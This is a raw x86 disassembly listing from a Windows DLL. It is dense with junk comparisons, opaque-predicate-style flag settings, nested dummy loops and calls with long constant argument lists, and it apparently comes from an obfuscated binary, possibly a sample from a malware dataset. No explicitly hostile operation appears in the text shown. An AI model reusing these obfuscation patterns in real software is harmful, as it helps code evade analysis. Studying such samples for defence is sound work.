and dword [ebp - 0xc78], 0
cmp dword [ebp - 0x46c], 0x51978e60
jl 0x1002e34a
mov dword [ebp - 0xf70], 0x29a3
mov dword [ebp - 0x6c8], 0x75c1
mov dword [ebp - 0x6c0], 0x29ea4144
mov dword [ebp - 0xa70], 0xc25fcc58
mov dword [ebp - 0x14f0], 0xe665969a
mov dword [ebp - 0x13d8], 3
mov dword [ebp - 0x124c], 0xec326874
mov dword [ebp - 0x3e4], 1
mov dword [ebp - 0x384], 0
jmp 0x1002c6cb
mov eax, dword [ebp - 0x384]
inc eax
mov dword [ebp - 0x384], eax
cmp dword [ebp - 0x384], 4
jge 0x1002c6e7
mov eax, dword [ebp - 0x384]
mov dword [ebp + eax*4 - 0x1584], 0x238e486a
jmp 0x1002c6be
lea eax, [ebp - 0x6c0]
push eax
lea eax, [ebp - 0xa70]
push eax
lea eax, [ebp - 0xf70]
push eax
push 0
lea eax, [ebp - 0x6c8]
push eax
call fcn.10044f24
add esp, 0x14
mov eax, dword [ebp - 0xa70]
mov dword [ebp - 0x1250], eax
mov eax, dword [ebp - 0x3e4]
inc eax
mov dword [ebp - 0x3e4], eax
je 0x1002c75f
cmp dword [ebp - 0x6c0], 0x19fa553f
je 0x1002c740
mov dword [ebp - 0x938], 1
jmp 0x1002c747
and dword [ebp - 0x938], 0
cmp dword [ebp - 0x938], 0xf92e
jg 0x1002c75f
mov dword [ebp - 0xb14], 1
jmp 0x1002c766
and dword [ebp - 0xb14], 0
mov eax, dword [ebp - 0x6c8]
cmp eax, dword [ebp - 0xb14]
jl 0x1002c780
mov dword [ebp - 0x6d0], 1
jmp 0x1002c787
and dword [ebp - 0x6d0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1584]
add eax, dword [ebp - 0x6d0]
je 0x1002c7cf
mov byte [ebp - 0x125], 0
movzx eax, byte [ebp - 0x125]
test eax, eax
je 0x1002c7ca
push 0
push 0x249d
push 0x1c8c
push 0x148f
push 0x144c
call dword [sym.imp.GDI32.dll_CreateBitmap]
jmp 0x1002c91f
push 3
lea ecx, [ebp - 0xba8]
call fcn.1001b2e8
mov byte [ebp - 4], 0x1a
mov dword [ebp - 0xc80], 0xbb1e5de2
mov dword [ebp - 0x2cc], 0
jmp 0x1002c803
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 3
jge 0x1002c825
push dword [ebp - 0x2cc]
lea ecx, [ebp - 0xba8]
call fcn.1001b386
mov dword [eax], 9
jmp 0x1002c7f6
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0x1584]
push 1
lea ecx, [ebp - 0xba8]
call fcn.1001b386
cmp esi, dword [eax]
je 0x1002c84f
mov dword [ebp - 0x940], 1
jmp 0x1002c856
and dword [ebp - 0x940], 0
push 1
lea ecx, [ebp - 0xba8]
call fcn.1001b386
mov eax, dword [eax]
cmp eax, dword [ebp - 0x940]
jne 0x1002c879
mov dword [ebp - 0x6d8], 1
jmp 0x1002c880
and dword [ebp - 0x6d8], 0
push 0
lea ecx, [ebp - 0xba8]
call fcn.1001b386
mov esi, dword [ebp - 0x6d8]
add esi, dword [eax]
push 1
lea ecx, [ebp - 0xba8]
call fcn.1001b386
cmp esi, dword [eax]
je 0x1002c8b2
mov dword [ebp - 0xa78], 1
jmp 0x1002c8b9
and dword [ebp - 0xa78], 0
mov eax, dword [ebp - 0x3e4]
cmp eax, dword [ebp - 0xa78]
jge 0x1002c8d3
mov dword [ebp - 0x6e0], 1
jmp 0x1002c8da
and dword [ebp - 0x6e0], 0
push 1
lea ecx, [ebp - 0xba8]
call fcn.1001b386
mov ecx, dword [ebp - 0x6e0]
cmp ecx, dword [eax]
jge 0x1002c8fd
mov dword [ebp - 0x948], 1
jmp 0x1002c904
and dword [ebp - 0x948], 0
mov eax, dword [ebp - 0x948]
mov dword [ebp - 0xc80], eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xba8]
call fcn.1001b36a
mov dword [ebp - 0x1258], 0xfffffff9
push 3
lea ecx, [ebp - 0x1434]
call fcn.1001b2e8
mov byte [ebp - 4], 0x1b
push 2
lea ecx, [ebp - 0xbe8]
call fcn.1001b2e8
mov byte [ebp - 4], 0x1c
mov dword [ebp - 0x6f0], 0xfff9
mov dword [ebp - 0xec8], 0xfffffff9
mov dword [ebp - 0x6f8], 0xce34aafb
mov dword [ebp - 0xc90], 0
mov dword [ebp - 0x2d4], 0
jmp 0x1002c98c
mov dword [ebp - 0x9e0], 0xafd94fe5
mov dword [ebp - 0x810], 0x1bca9d69
mov dword [ebp - 0xf00], 0x4b03e386
mov dword [ebp - 0xcf8], 3
mov byte [ebp - 0x15b], 0
movzx eax, byte [ebp - 0x15b]
test eax, eax
je 0x1002e38c
push 0
call fcn.1003a40a
pop ecx
cmp dword [ebp - 0x9e0], 0
je 0x1002e3ad
cmp dword [ebp - 0x810], 0x1303
jge 0x1002e3ad
mov dword [ebp - 0xac8], 1
jmp 0x1002e3b4
and dword [ebp - 0xac8], 0
cmp dword [ebp - 0xf00], 0
jne 0x1002e3c6
cmp dword [ebp - 0x810], 0
je 0x1002e3d9
push 9
pop eax
test eax, eax
je 0x1002e3d9
mov dword [ebp - 0x818], 1
jmp 0x1002e3e0
and dword [ebp - 0x818], 0
mov eax, dword [ebp - 0x9e0]
cmp dword [ebp - 0x818], eax
je 0x1002e3fa
mov dword [ebp - 0x820], 1
jmp 0x1002e401
and dword [ebp - 0x820], 0
mov eax, dword [ebp - 0xac8]
imul eax, dword [ebp - 0x820]
test eax, eax
jne 0x1002e420
or eax, 0xffffffff
jne 0x1002e420
and dword [ebp - 0x9e8], 0
jmp 0x1002e42a
mov dword [ebp - 0x9e8], 1
mov eax, dword [ebp - 0x9e8]
mov dword [ebp - 0xcf8], eax
mov eax, dword [ebp - 0x828]
mov dword [ebp - 0x828], eax
mov dword [ebp - 0x3b4], 0
jmp 0x1002e45b
cmp dword [ebp - 0x3b4], 3
jg 0x1002e8e3
mov dword [ebp - 0x44], 0x15252cb1
push 1
lea ecx, [ebp - 0x520]
call fcn.1001b2e8
mov byte [ebp - 4], 0x2d
mov dword [ebp - 0x860], 0x93be41b0
mov dword [ebp - 0x47c], 0xfffffffa
mov dword [ebp - 0x1b0], 0
jmp 0x1002e4ad
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 3
jge 0x1002e4c9
mov eax, dword [ebp - 0x1b0]
mov dword [ebp + eax*4 - 0x52c], 0
jmp 0x1002e4a0
push 0x5864
push 0
push 0x2ecc
lea eax, [ebp - 0x1b0]
push eax
push 0x38bc
push 0x77d3
lea eax, [ebp - 0x520]
push eax
push 0x2f62
push 0x55b6
push 1
push 0x6893
push 1
push 0x4d1
push 0x3a81
call fcn.1003a7e6
add esp, 0x38
mov dword [ebp - 0x44], 2
jmp 0x1002e522
cmp dword [ebp - 0x44], 0
jl 0x1002e69d
mov dword [ebp - 0x32c], 0
jmp 0x1002e545
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x52c], 0
je 0x1002e79c
jmp 0x1002b029
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x11bc]
call fcn.1001b36a
mov dword [ebp - 0x1f0], 0xfffffffa
mov dword [ebp - 0x870], 0xa3531f1
mov dword [ebp - 0x1f0], 0
jmp 0x1002e924
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 6
jge 0x1002e9e5
mov dword [ebp - 0x18c], 0xffffffff
mov dword [ebp - 0xd10], 1
cmp dword [ebp - 0x18c], 0x26f3
jle 0x1002e95d
mov dword [ebp - 0x868], 1
jmp 0x1002e964
and dword [ebp - 0x868], 0
imul eax, dword [ebp - 0x868], 0xffffffff
test eax, eax
je 0x1002e984
cmp dword [ebp - 0x18c], 0
je 0x1002e984
mov dword [ebp - 0xb48], 1
jmp 0x1002e98b
and dword [ebp - 0xb48], 0
mov eax, dword [ebp - 0xb48]
mov dword [ebp - 0x870], eax
mov eax, dword [ebp - 0x870]
sub eax, 0xa13b
or ecx, 0xffffffff
sub ecx, dword [ebp - 0x18c]
sub ecx, eax
cmp ecx, dword [ebp - 0x18c]
je 0x1002e9c1
mov dword [ebp - 0xfd4], 1
jmp 0x1002e9c8
and dword [ebp - 0xfd4], 0
mov eax, dword [ebp - 0xd10]
mov dword [ebp - 0x12c8], eax
mov eax, dword [ebp - 0x1f0]
mov dword [ebp - 0x18c], eax
jmp 0x1002e917
mov byte [ebp - 0x15d], 0
push 0
lea eax, [ebp - 0x15d]
push eax
push 0x2dbd
push 0x59ea
push 0
call fcn.10028719
add esp, 0x14
mov eax, dword [ebp - 0xf10]
mov eax, dword [eax + 0x38]
mov dword [ebp - 0x4d4], eax
mov dword [ebp - 0x878], 9
push 2
lea ecx, [ebp - 0xbcc]
call fcn.1001b2e8
mov dword [ebp - 4], 0x2e
mov dword [ebp - 0x3bc], 0x51a
mov dword [ebp - 0xf18], 0x468e576d
mov dword [ebp - 0x3fc], 0
jmp 0x1002ea63
mov eax, dword [ebp - 0x3fc]
inc eax
mov dword [ebp - 0x3fc], eax
cmp dword [ebp - 0x3fc], 2
jge 0x1002ea85
push dword [ebp - 0x3fc]
lea ecx, [ebp - 0xbcc]
call fcn.1001b386
mov dword [eax], 8
jmp 0x1002ea56
cmp dword [ebp - 0x878], 0
je 0x1002eb92
mov dword [ebp - 0xa10], 1
push 4
lea ecx, [ebp - 0x11d4]
call fcn.1001b2e8
mov byte [ebp - 4], 0x2f
mov dword [ebp - 0xd18], 5
mov dword [ebp - 0xf98], 1
mov dword [ebp - 0x334], 0
jmp 0x1002eada
mov eax, dword [ebp - 0x334]
inc eax
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 4
jge 0x1002eafc
push dword [ebp - 0x334]
lea ecx, [ebp - 0x11d4]
call fcn.1001b386
mov dword [eax], 0x66d8ff8c
jmp 0x1002eacd
mov esi, dword [ebp - 0xa10]
push 1
lea ecx, [ebp - 0xbcc]
call fcn.1001b386
mov dword [eax], esi
push 0xbc
push 0x7976
lea eax, [ebp - 0xd18]
push eax
push 0x1c2a
push 0x442d
lea eax, [ebp - 0xa10]
push eax
lea eax, [ebp - 0xbcc]
push eax
push 0x6242
push 0x61d2
push 0
push 0x1259
push 0x7473
push 0
lea eax, [ebp - 0x878]
push eax
push 0x3647
lea eax, [ebp - 0xf98]
push eax
push 0x5bf8
push 0x6bc8
lea eax, [ebp - 0x11d4]
push eax
call fcn.10034c0b
add esp, 0x4c
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x11d4]
call fcn.1001b36a
jmp 0x1002ecc1
push 2
lea ecx, [ebp - 0xfbc]
call fcn.1001b2e8
mov byte [ebp - 4], 0x30
mov dword [ebp - 0x12d0], 0x92a41536
lea eax, [ebp - 0xfbc]
push eax
push 0
push 0x3e7
push 0x5815
push 1
lea eax, [ebp - 0x12d8]
push eax
call fcn.1002852d
add esp, 0x18
mov byte [ebp - 0x138], 0
movzx eax, byte [ebp - 0x138]
test eax, eax
je 0x1002ebfb
push 0
push 1
push 0
push 0x33b2
push 0x41b1
call fcn.10046736
add esp, 0x14
push 1
lea ecx, [ebp - 0xbcc]
call fcn.1001b386
mov esi, eax
push 1
lea ecx, [ebp - 0xfbc]
call fcn.1001b386
mov eax, dword [eax]
cmp eax, dword [esi]
jg 0x1002ec29
mov dword [ebp - 0xd20], 1
jmp 0x1002ec30
and dword [ebp - 0xd20], 0
push 1
lea ecx, [ebp - 0xfbc]
call fcn.1001b386
push 1
lea ecx, [ebp - 0xfbc]
call fcn.1001b386
mov eax, dword [ebp - 0x3bc]
dec eax
mov dword [ebp - 0x3bc], eax
jne 0x1002ec9c
push 1
lea ecx, [ebp - 0xbcc]
call fcn.1001b386
mov dword [ebp - 0xae0], eax
push 1
lea ecx, [ebp - 0xbcc]
call fcn.1001b386
mov ecx, dword [ebp - 0xae0]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x3bc]
mov ecx, dword [ebp - 0xae0]
cmp dword [ecx], eax
jne 0x1002ec9c
and dword [ebp - 0x540], 0
jmp 0x1002eca6
mov dword [ebp - 0x540], 1
mov eax, dword [ebp - 0x540]
mov dword [ebp - 0xf18], eax
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0xfbc]
call fcn.1001b36a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbcc]
call fcn.1001b36a
mov dword [ebp - 0x78], 0xfffffff9
mov dword [ebp - 0x554], 0x6bd1
mov dword [ebp - 0xfdc], 0x1000a0b8
cmp dword [ebp - 0x554], 0x6c91
jle 0x1002edd6
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
and dword [ebp - 0x230], 0
jmp 0x1002ed17
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 0x64fa
jge 0x1002edd6
and dword [ebp - 0x238], 0
jmp 0x1002ed3d
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0x7112
jge 0x1002edd1
and dword [ebp - 0x240], 0
jmp 0x1002ed63
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0x3ec0
jge 0x1002edcc
mov eax, dword [ebp - 0x230]
sub eax, dword [ebp - 0x238]
add eax, dword [ebp - 0x240]
cdq
mov dword [ebp - 0xde0], eax
mov dword [ebp - 0xddc], edx
push dword [ebp - 0xddc]
push dword [ebp - 0xde0]
lea ecx, [ebp - 0x17c0]
call fcn.1000dafa
pop ecx
pop ecx
mov dword [ebp - 0xd28], eax
mov ecx, dword [ebp - 0xd28]
call fcn.1001b097
push eax
call fcn.1004e316
pop ecx
lea ecx, [ebp - 0x17c0]
call fcn.1001b08d
jmp 0x1002ed56
jmp 0x1002ed30
jmp 0x1002ed0a
and dword [ebp - 0x1118], 0
and dword [ebp - 0x1114], 0
and dword [ebp - 0x1110], 0
and dword [ebp - 0x110c], 0
lea ecx, [ebp - 0x4ad]
call fcn.1001b395
push eax
lea eax, [ebp - 0x1108]
push eax
lea eax, [ebp - 0x1118]
push eax
lea ecx, [ebp - 0x162c]
call fcn.1001b398
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1464]
call fcn.1001b344
mov dword [ebp - 4], 0x31
mov byte [ebp - 4], 0x32
cmp dword [ebp - 0x554], 0x6860
jge 0x1002ee4a
push dword [ebp - 0xfdc]
call fcn.1004e316
pop ecx
jmp 0x1002ee66
mov dword [ebp - 4], 0x31
jmp 0x1002ee76
mov dword [ebp - 0x12e0], 0x614f
cmp dword [ebp - 0x78], 0
je 0x1002eed6
mov byte [ebp - 0x154], 0
push 0x6fb
push 0x6dde
push 0x7114
push 1
push 0
push 0
lea eax, [ebp - 0x154]
push eax
call fcn.100461d0
add esp, 0x1c
mov byte [ebp - 0x146], 0
movzx eax, byte [ebp - 0x146]
test eax, eax
je 0x1002eed1
push 0x1877
push 0
call fcn.100468b1
pop ecx
pop ecx
jmp 0x1002f122
mov dword [ebp - 0x1140], 0xc80f219a
mov dword [ebp - 0x113c], 0xc80f219a
mov dword [ebp - 0x1138], 0xc80f219a
mov dword [ebp - 0x1134], 0xc80f219a
lea ecx, [ebp - 0x441]
call fcn.1001b395
push eax
lea eax, [ebp - 0x1130]
push eax
lea eax, [ebp - 0x1140]
push eax
lea ecx, [ebp - 0x166c]
call fcn.1001b398
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1454]
call fcn.1001b344
mov byte [ebp - 4], 0x34
mov dword [ebp - 0x78], 0x12
jmp 0x1002ef47
mov eax, dword [ebp - 0x78]
dec eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffe7
jne 0x1002ef94
mov dword [ebp - 0xd30], 0xd7c6
mov dword [ebp - 0xf20], 0xd3650dfa
lea eax, [ebp - 0x78]
push eax
push 1
push 0x4a4a
lea eax, [ebp - 0xd30]
push eax
push 0
lea eax, [ebp - 0xf20]
push eax
lea eax, [ebp - 0x1464]
push eax
lea eax, [ebp - 0x1454]
push eax
call fcn.1003fe03
add esp, 0x20
jmp 0x1002ef40
mov dword [ebp - 0x78], 0
jmp 0x1002efa4
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 3
jg 0x1002f113
mov dword [ebp - 0x248], 0xffffffff
mov dword [ebp - 0x12e8], 0x5316d004
mov dword [ebp - 0x248], 3
jmp 0x1002efdb
mov eax, dword [ebp - 0x248]
dec eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0
jl 0x1002f10e
mov dword [ebp - 0x258], 0xfffffff7
mov dword [ebp - 0x250], 0
jmp 0x1002f00b
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 3
jge 0x1002f027
mov eax, dword [ebp - 0x250]
mov dword [ebp + eax*4 - 0x16b8], 4
jmp 0x1002effe
mov dword [ebp - 0x258], 0
jmp 0x1002f040
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 3
jg 0x1002f109
mov dword [ebp - 0x260], 0
mov dword [ebp - 0x260], 3
jmp 0x1002f070
mov eax, dword [ebp - 0x260]
dec eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 0
jl 0x1002f0f0
push 3
lea ecx, [ebp - 0x1444]
call fcn.1001b2e8
mov byte [ebp - 4], 0x35
mov dword [ebp - 0xd38], 0xfffffffb
lea eax, [ebp - 0x12f0]
push eax
push 1
lea eax, [ebp - 0x1444]
push eax
push 0
call fcn.10036b9a
add esp, 0x10
push 0x3e3b
push 0x52cd
lea eax, [ebp - 0xd38]
push eax
push 1
push 0x3e87
push 0
push 0
push 0x2496
push 0x6712
call fcn.1003a2e3
add esp, 0x24
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x1444]
call fcn.1001b36a
jmp 0x1002f063
push 0x551a
push 0x1a13
push 0
call fcn.100467e2
add esp, 0xc
jmp 0x1002f033
jmp 0x1002efce
jmp 0x1002ef9d
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x1454]
call fcn.1001b36a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1464]
call fcn.1001b36a
mov dword [ebp - 0x58c], 0xb6fd43dd
mov dword [ebp - 0xd40], 0xfff12f3c
push 3
lea ecx, [ebp - 0x508]
call fcn.1001b2e8
mov dword [ebp - 4], 0x36
mov dword [ebp - 0x4c0], 0xfffffff9
mov dword [ebp - 0x55c], 0xc7d8169b
mov dword [ebp - 0x1e0], 0xffffffff
mov dword [ebp - 0xa8], 0
jmp 0x1002f190
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 2
jge 0x1002f1ac
mov eax, dword [ebp - 0xa8]
mov dword [ebp + eax*4 - 0xb10], 0x5872
jmp 0x1002f183
mov dword [ebp - 0xa8], 0
jmp 0x1002f1c5
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 3
jge 0x1002f1e7
push dword [ebp - 0xa8]
lea ecx, [ebp - 0x508]
call fcn.1001b386
mov dword [eax], 0x6e9f0866
jmp 0x1002f1b8
mov byte [ebp - 0xdd], 0
push 0x246f
lea eax, [ebp - 0xdd]
push eax
push 0
push 0
call fcn.1003b9d4
add esp, 0x10
mov eax, dword [ebp - 0x55c]
dec eax
mov dword [ebp - 0x55c], eax
mov esi, dword [ebp - 0x58c]
push 0
lea ecx, [ebp - 0x508]
call fcn.1001b386
cmp dword [eax], esi
je 0x1002f231
push 8
pop eax
test eax, eax
jne 0x1002f26b
push 0
lea ecx, [ebp - 0x508]
call fcn.1001b386
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0xb10]
push 1
lea ecx, [ebp - 0x508]
call fcn.1001b386
imul eax, dword [eax], 0xc256
cmp eax, esi
jl 0x1002f26b
and dword [ebp - 0x564], 0
jmp 0x1002f275
mov dword [ebp - 0x564], 1
push 0
lea ecx, [ebp - 0x508]
call fcn.1001b386
mov ecx, dword [ebp - 0x564]
add ecx, dword [eax]
cmp ecx, 0xe17c
jg 0x1002f29e
mov dword [ebp - 0x56c], 1
jmp 0x1002f2a5
and dword [ebp - 0x56c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x56c]
sub ecx, dword [ebp + eax - 0xb10]
cmp ecx, dword [ebp - 0x4c0]
jg 0x1002f2de
push 2
lea ecx, [ebp - 0x508]
call fcn.1001b386
cmp dword [eax], 0
je 0x1002f2de
mov dword [ebp - 0x574], 1
jmp 0x1002f2e5
and dword [ebp - 0x574], 0
mov eax, dword [ebp - 0x4c0]
cmp dword [ebp - 0x574], eax
je 0x1002f2ff
mov dword [ebp - 0x57c], 1
jmp 0x1002f306
and dword [ebp - 0x57c], 0
push 0
lea ecx, [ebp - 0x508]
call fcn.1001b386
mov ecx, dword [ebp - 0x57c]
cmp ecx, dword [eax]
jge 0x1002f329
mov dword [ebp - 0x584], 1
jmp 0x1002f330
and dword [ebp - 0x584], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb10]
cmp dword [ebp - 0x584], eax
jg 0x1002f351
mov dword [ebp - 0x594], 1
jmp 0x1002f358
and dword [ebp - 0x594], 0
mov eax, dword [ebp - 0x58c]
add eax, dword [ebp - 0x594]
cmp eax, 3
ja 0x1002f375
mov dword [ebp - 0xfa0], 1
jmp 0x1002f37c
and dword [ebp - 0xfa0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb10]
mov dword [ebp - 0x12f8], eax
imul eax, dword [ebp - 0xd40], 0
cmp eax, dword [ebp - 0x4c0]
jl 0x1002f3aa
mov dword [ebp - 0x59c], 1
jmp 0x1002f3b1
and dword [ebp - 0x59c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb10]
add eax, dword [ebp - 0x59c]
imul eax, eax, 0x89b0
neg eax
je 0x1002f3e3
cmp dword [ebp - 0x1e0], 0
je 0x1002f3e3
mov dword [ebp - 0x5a4], 1
jmp 0x1002f3ea
and dword [ebp - 0x5a4], 0
push 1
lea ecx, [ebp - 0x508]
call fcn.1001b386
mov ecx, dword [ebp - 0x5a4]
cmp ecx, dword [eax]
jge 0x1002f456
mov dword [ebp - 0xf28], 0
lea eax, [ebp - 0xf28]
push eax
lea eax, [ebp - 0x508]
push eax
push 0
push 0xc5e
push 0x1f84
push 0x4766
push 0x62b6
push 0x6e6f
push 0x1605
push 0x6be4
push 1
push 0
push 0x3aa6
push 0x477a
call fcn.10045bda
add esp, 0x38
jmp 0x1002f4a8
mov dword [ebp - 0x1e0], 2
jmp 0x1002f46f
mov eax, dword [ebp - 0x1e0]
dec eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 0
jl 0x1002f4a8
mov byte [ebp - 0x152], 0
push 0
lea eax, [ebp - 0x152]
push eax
push 0
push 0x4126
push 0x367f
push 0x5fb3
push 0x2113
call fcn.10039c13
add esp, 0x1c
jmp 0x1002f462
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x508]
call fcn.1001b36a
mov dword [ebp - 0x194], 0xfffffffa
mov dword [ebp - 0x48], 0xbea12209
mov dword [ebp - 0x4e0], 0xa6c65b0b
mov dword [ebp - 0x484], 0x3cf68729
push 1
lea ecx, [ebp - 0x1088]
call fcn.1001b2e8
mov dword [ebp - 4], 0x37
mov dword [ebp - 0x268], 1
mov dword [ebp - 0xfe4], 0xaec51ac0
lea eax, [ebp - 0x1088]
push eax
push 0
push 0x2300
lea eax, [ebp - 0x1c0]
push eax
push 0xda4
push 1
push 0x702f
push 0x55b7
push 1
call fcn.10039eb1
add esp, 0x24
mov dword [ebp - 0x1c0], 0
jmp 0x1002f54d
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 4
jge 0x1002f569
mov eax, dword [ebp - 0x1c0]
mov dword [ebp + eax*4 - 0x1594], 0x4fc3
jmp 0x1002f540
cmp dword [ebp - 0x48], 0
jne 0x1002f581
mov eax, 0xfff9
test eax, eax
jne 0x1002f581
and dword [ebp - 0x5ac], 0
jmp 0x1002f58b
mov dword [ebp - 0x5ac], 1
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x5ac], eax
je 0x1002f5a2
mov dword [ebp - 0x5cc], 1
jmp 0x1002f5a9
and dword [ebp - 0x5cc], 0
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x48]
je 0x1002f5bd
mov dword [ebp - 0xd48], 1
jmp 0x1002f5c4
and dword [ebp - 0xd48], 0
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x1300], eax
cmp dword [ebp - 0x48], 0xb1b0
jge 0x1002f5e2
mov dword [ebp - 0x5b4], 1
jmp 0x1002f5e9
and dword [ebp - 0x5b4], 0
mov eax, dword [ebp - 0x48]
imul eax, dword [ebp - 0x5b4]
test eax, eax
jne 0x1002f609
cmp dword [ebp - 0x4e0], 0
jne 0x1002f609
and dword [ebp - 0x5bc], 0
jmp 0x1002f613
mov dword [ebp - 0x5bc], 1
mov eax, dword [ebp - 0x5bc]
mov dword [ebp - 0x484], eax
mov eax, dword [ebp - 0x484]
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x5c4], eax
push 0
lea ecx, [ebp - 0x1088]
call fcn.1001b386
mov ecx, dword [ebp - 0x5c4]
mov dword [eax], ecx
cmp dword [ebp - 0x5c4], 7
jbe 0x1002f658
mov dword [ebp - 0x5d4], 1
jmp 0x1002f65f
and dword [ebp - 0x5d4], 0
mov eax, dword [ebp - 0x5cc]
cmp eax, dword [ebp - 0x5d4]
jge 0x1002f679
mov dword [ebp - 0x5dc], 1
jmp 0x1002f680
and dword [ebp - 0x5dc], 0
cmp dword [ebp - 0x5dc], 0x34ab
jl 0x1002f698
mov dword [ebp - 0x5e4], 1
jmp 0x1002f69f
and dword [ebp - 0x5e4], 0
mov eax, dword [ebp - 0x5e4]
add eax, 5
cmp eax, dword [ebp - 0x4e0]
je 0x1002f6ce
push 0
lea ecx, [ebp - 0x1088]
call fcn.1001b386
cmp dword [eax], 0
je 0x1002f6ce
mov dword [ebp - 0x5ec], 1
jmp 0x1002f6d5
and dword [ebp - 0x5ec], 0
mov eax, dword [ebp - 0x268]
cmp dword [ebp - 0x5ec], eax
jne 0x1002f6f8
cmp dword [ebp - 0x484], 0
je 0x1002f6f8
mov dword [ebp - 0x5f4], 1
jmp 0x1002f6ff
and dword [ebp - 0x5f4], 0
mov eax, dword [ebp - 0xfe4]
cmp dword [ebp - 0x5f4], eax
jle 0x1002f719
mov dword [ebp - 0x5fc], 1
jmp 0x1002f720
and dword [ebp - 0x5fc], 0
mov eax, dword [ebp - 0x4e0]
cmp dword [ebp - 0x5fc], eax
jge 0x1002f73c
xor eax, eax
inc eax
jne 0x1002f73c
and dword [ebp - 0x604], 0
jmp 0x1002f746
mov dword [ebp - 0x604], 1
mov eax, dword [ebp - 0x604]
sub eax, dword [ebp - 0x268]
cmp dword [ebp - 0x48], eax
jl 0x1002f769
cmp dword [ebp - 0x48], 0
je 0x1002f769
mov dword [ebp - 0x60c], 1
jmp 0x1002f770
and dword [ebp - 0x60c], 0
mov eax, dword [ebp - 0x268]
add eax, dword [ebp - 0x60c]
cmp eax, 0x31cd1ac8
jle 0x1002f78f
mov dword [ebp - 0x614], 1
jmp 0x1002f796
and dword [ebp - 0x614], 0
mov eax, dword [ebp - 0x268]
cmp dword [ebp - 0x614], eax
jl 0x1002f7b0
mov dword [ebp - 0x61c], 1
jmp 0x1002f7b7
and dword [ebp - 0x61c], 0
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x61c]
mov dword [ebp - 0x48], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x1594]
dec eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x1594], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1088]
call fcn.1001b36a
mov dword [ebp - 0xda8], 0xa3531f1
push 3
lea ecx, [ebp - 0x218]
call fcn.1001b2e8
mov dword [ebp - 4], 0x38
mov dword [ebp - 0x1c], 0x6aabecba
mov dword [ebp - 0x290], 1
mov dword [ebp - 0x64c], 0x92279191
mov dword [ebp - 0xfb0], 0x32f4bb0f
or dword [ebp - 0x1168], 0xffffffff
or dword [ebp - 0x1164], 0xffffffff
or dword [ebp - 0x1160], 0xffffffff
or dword [ebp - 0x115c], 0xffffffff
lea ecx, [ebp - 0x456]
call fcn.1001b395
push eax
lea eax, [ebp - 0x1158]
push eax
lea eax, [ebp - 0x1168]
push eax
lea ecx, [ebp - 0x163c]
call fcn.1001b398
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x160c]
call fcn.1001b344
mov byte [ebp - 4], 0x39
push 1
push 0x770c
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x2c]
push eax
push 0
call fcn.10028719
add esp, 0x14
mov dword [ebp - 0x2c], 0
jmp 0x1002f8b1
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 1
jge 0x1002f8c7
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x644], 0x8f0bd907
jmp 0x1002f8aa
mov dword [ebp - 0x2c], 0
